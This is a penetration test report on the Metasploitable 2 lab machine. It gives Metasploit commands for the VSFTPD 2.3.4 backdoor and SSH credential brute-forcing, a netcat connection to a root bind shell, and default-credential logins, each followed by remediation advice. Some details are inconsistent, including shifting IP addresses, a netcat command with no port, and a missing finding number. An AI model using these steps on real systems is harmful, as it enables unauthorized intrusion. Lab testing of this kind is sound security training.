PENETRATION TESTING REPORT

**TARGET SYSTEM**

**METASPLOITABLE 2**

**TESTER NAME:**

**ANTHONY JEFFREY**

**DATE OF TESTING:**

**NOVEMBER 10th 2024.**

1. **Executive Summary**

**Objective:**

This penetration test's goal was to find weaknesses in the Metasploitable 2 system and determine how an attacker may take advantage of them. This test was carried out in a laboratory setting that was controlled.

**Scope:**

Testing was limited to the Metasploitable 2 virtual machine's exposed network services and applications.

**Summary of Findings:**

* **High Risk:** Exploitable vulnerabilities in FTP (Port 21), and SSH (Port 22).
* **Medium Risk:** Misconfigured Telnet (Port 23), Bindshell (Port 1524).
* **Low Risk:** Information leakage through banners on multiple ports.

**Key Recommendations:**

* Disable anonymous access in FTP.
* Update or replace vulnerable software such as VSFTPD and Apache.
* Replace all default credentials immediately.
* Mandate strong, unique passwords with at least 12-16 characters., with mix of uppercase/lowercase letters, numbers, and special characters.
* Clear the username and password on the telnet root server

2. **Methodology**

The testing process followed these phases:

1. **Reconnaissance:** Gathered information about open ports and running services using Nmap.
2. **Scanning:** Identified service versions and potential vulnerabilities with Nmap.
3. **Exploitation:** Leveraged Metasploit Framework and manual methods to exploit identified vulnerabilities.
4. **Post-Exploitation:** Assessed system access and possible data compromise scenarios.

**3. Tools Used**

* **Nmap:** Network scanning and service enumeration.
* **Metasploit Framework (msfconsole):** Exploitation and post-exploitation.
* **Netcat:** Network interaction

**4. Detailed Findings**

Finding 1: FTP Anonymous Login Vulnerability

* **Description:**

The FTP service running on port 21 allows anonymous login without a password.

* **Location:**

FTP on Port 21.

* **Evidence:**

ftp 192.168.30.130  
Connected to 192.168.30.130.  
Name (192.168.30.130:anonymous): anonymous  
230 Login successful.  
ftp>

* **Impact:**

Unauthorized access to sensitive files. Attackers could upload malicious files for further exploitation.

* **Severity:**

**Medium**

* **Recommendation:**

Disable anonymous login by editing the vsftpd configuration file (/etc/vsftpd.conf) and restarting the service.

**Finding 2: VSFTPD 2.3.4 Backdoor Vulnerability**

* **Description:**

A backdoor exists in the VSFTPD 2.3.4 version running on port 21, allowing attackers to gain a root shell by sending a crafted payload.

* **Location:**

FTP on Port 21.

* **Evidence:**
  + Exploited using Metasploit:

use exploit/unix/ftp/vsftpd\_234\_backdoor  
set RHOST 192.168.1.100  
run

* + Output:

Command shell session 1 opened (192.168.30.222:4444 -> 192.168.30.130:6200) at 2024-11-16

* **Impact:**

Full remote code execution as root.

* **Severity:**

**High**

* **Recommendation:**

Upgrade to a secure version of VSFTPD or replace it with a secure FTP solution like SFTP.

**Finding 3: Bindshell Exploitation**

* **Description:**

A bind shell was established on the target system (Port 1524) to allow remote command execution. This method involved opening a network port on the target system and binding it to a shell, which the attacker could connect to and control.

* **Evidence:**
  + Exploited using NetCat:

Sudo nc 192.168.30.130.

* + Output:

root@metabolitetable:/#

* **Impact:**

**High**

* **Recommendation:**

Implement strict firewall rules to prevent unauthorized inbound connections.

Disable unnecessary services or configure them securely to prevent exploitation.

**Finding 5: Weak SSH Password**

* **Description:**

The shell was secured with a password that did not adhere to strong password policies. This weakness could allow an attacker to gain access through manual guessing or automated brute-force attacks.

Evidence:

**Command Used**

use auxiliary/scanner/ssh/ssh\_login  
set RHOSTS 192.168.30.130  
set USER\_FILE /home/hawesome/Desktops/usernames.txt  
set PASS\_FILE /home/hawesome/Desktops/passwords.txt  
set THREADS 10  
set VERBOSE true  
run

**Output from msfconsole**

[+] 192.168.1.20:22 - Success: 'msfadmin:msfadmin'  
[\*] Command shell session 1 opened (192.168.30.222:4444 -> 192.168.30.130:22)

Verified Credentials

**Username**: msfadmin

**Password**: msfadmin

* **impact:**

Unauthorised access could lead to Data breaches, service interruptions and service downtime

* **Severity:**

**High**

* **Recommendation:**
* Replace all default credentials immediately.
* Mandate strong, unique passwords with at least:

1. 12-16 characters.
2. A mix of uppercase/lowercase letters, numbers, and special characters.

**Finding 6: Telnet Service Misconfiguration**

* **Description:**

The Telnet service running on port 23 allows authentication with weak credentials and does not use encryption for communication.

* **Location:**

Telnet on Port 23.

* **Evidence:**

Successful login using default credentials:

telnet 192.168.1.100  
Trying 192.168.1.100...  
Connected to 192.168.1.100.  
Escape character is '^]'.  
Metasploitable login: msfadmin  
Password: msfadmin  
Welcome to Metasploitable!

* **Impact:**

Attackers can intercept unencrypted Telnet sessions to steal credentials or sensitive data. If the default credentials are not changed, attackers can gain full access to the system.

* **Severity:**

**High**

* **Recommendation:**

Enforce strong authentication and encrypt communication with a VPN or other tunneling methods.

1. **Conclusion:**

The Metasploitable 2 system is highly vulnerable due to outdated software, weak configurations, weak Usernames and Passwords and the use of insecure services such as Telnet. These vulnerabilities allow attackers to easily compromise the system and access sensitive data. Immediate remediation is necessary to secure the system in a production-like environment.

Appendices

**Appendix A:** Full Nmap Scan Results

nmap -sV 192.168.30.130  
Starting Nmap 7.94 ( <https://nmap.org> ) at 2024-11-09  
Nmap scan report for 192.168.1.100  
Host is up (0.00091s latency).  
Not shown: 990 closed ports  
PORT STATE SERVICE VERSION  
21/tcp open ftp vsftpd 2.3.4  
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp open telnet Linux telnetd  
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
1524/tcp open bindshell Metasploitable root shell

Service Info: OSs: Unix, Linux

...